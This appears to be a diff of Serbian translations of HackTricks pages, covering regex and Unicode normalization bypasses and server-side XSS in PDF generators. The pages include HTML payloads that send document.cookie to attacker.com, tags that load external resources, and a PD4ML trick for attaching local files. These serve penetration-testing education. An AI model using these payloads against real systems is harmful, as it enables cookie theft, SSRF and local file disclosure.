Kada backend **proverava korisnički unos pomoću regex-a**, može biti moguće da je **unos** **normalizovan** za **regex** ali **ne** za mesto gde se koristi. Na primer, u Open Redirect ili SSRF, regex može **normalizovati poslati URL** ali zatim **pristupiti njemu onakvom kakav jeste**.
Kada backend **proverava korisnički unos pomoću regex-a**, može biti moguće da je **unos** **normalizovan** za **regex** ali **ne** za mesto gde se **koristi**. Na primer, u Open Redirect ili SSRF, regex može **normalizovati poslati UR**L, ali zatim **pristupiti njemu onakvom kakav jeste**.
Alat [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* omogućava **generisanje varijacija unosa** za fuzzing backend-a. Za više informacija pogledajte **github** i ovu [**objavu**](https://0xacb.com/2022/11/21/recollapse/).
Alat [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* omogućava **generisanje varijacija unosa** za fuzzing backend-a. Za više informacija pogledajte **github** i ovaj [**post**](https://0xacb.com/2022/11/21/recollapse/).
## Unicode Overflow
Sa ovog [bloga](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), maksimalna vrednost bajta je 255, ako je server ranjiv, može se napraviti overflow koji proizvodi specifičan i neočekivan ASCII karakter. Na primer, sledeći karakteri će biti konvertovani u `A`:
- 0x4e41
- 0x4f41
- 0x5041
- 0x5141
## Reference
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -8,7 +8,7 @@ Ako web stranica kreira PDF koristeći korisnički kontrolisani unos, možete po
Dakle, ako **bot za kreiranje PDF-a pronađe** neku vrstu **HTML** **tagova**, on će ih **interpretirati**, i možete **iskoristiti** ovo ponašanje da izazovete **Server XSS**.
Molimo vas, primetite da `<script></script>` tagovi ne rade uvek, tako da će vam biti potrebna drugačija metoda za izvršavanje JS (na primer, iskorišćavanje `<img` ).\
Takođe, imajte na umu da ćete u redovnoj eksploataciji biti **u mogućnosti da vidite/preuzmete kreirani pdf**, tako da ćete moći da vidite sve što **pišete putem JS** (koristeći `document.write()` na primer). Ali, ako **ne možete da vidite** kreirani PDF, verovatno ćete morati da **izvučete informacije praveći web zahteve ka vama** (Blind).
Takođe, imajte na umu da ćete u redovnoj eksploataciji moći da **vidite/preuzmete kreirani pdf**, tako da ćete moći da vidite sve što **pišete putem JS** (koristeći `document.write()` na primer). Ali, ako **ne možete da vidite** kreirani PDF, verovatno ćete morati da **izvučete informacije praveći web zahteve ka vama** (Blind).
### Popular PDF generation
@ -22,7 +22,7 @@ Takođe, imajte na umu da ćete u redovnoj eksploataciji biti **u mogućnosti da
### Discovery
```html
<!-- Basic discovery, Write somthing-->
<!-- Basic discovery, Write something-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
@ -32,6 +32,22 @@ Takođe, imajte na umu da ćete u redovnoj eksploataciji biti **u mogućnosti da
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
<!-- Using base HTML tag -->
<base href="http://attacker.com" />
<!-- Loading external stylesheet -->
<link rel="stylesheet" src="http://attacker.com" />
<!-- Meta-tag to auto-refresh page -->
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
<!-- Loading external components -->
<input type="image" src="http://attacker.com" />
<video src="http://attacker.com" />
<audio src="http://attacker.com" />
<audio><source src="http://attacker.com"/></audio>
<svg src="http://attacker.com" />
```
### SVG
@ -151,7 +167,7 @@ Ova ranjivost se može vrlo lako pretvoriti u SSRF (jer možete naterati skriptu
### Attachments: PD4ML
Postoje neki HTML 2 PDF motori koji omogućavaju da **specifikujete priloge za PDF**, kao što je **PD4ML**. Možete zloupotrebiti ovu funkciju da **priložite bilo koju lokalnu datoteku** PDF-u.\
Postoje neki HTML 2 PDF alati koji omogućavaju da **specifikujete priloge za PDF**, kao što je **PD4ML**. Možete zloupotrebiti ovu funkciju da **priložite bilo koju lokalnu datoteku** PDF-u.\
Da bih otvorio prilog, otvorio sam datoteku sa **Firefox-om i dvaput kliknuo na simbol spajalice** da **sačuvam prilog** kao novu datoteku.\
Zahvatanje **PDF odgovora** sa burp-om takođe bi trebalo da **prikaže prilog u čistom tekstu** unutar PDF-a.
```html
@ -169,5 +185,6 @@ icon="Paperclip" />
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
{{#include ../../banners/hacktricks-training.md}}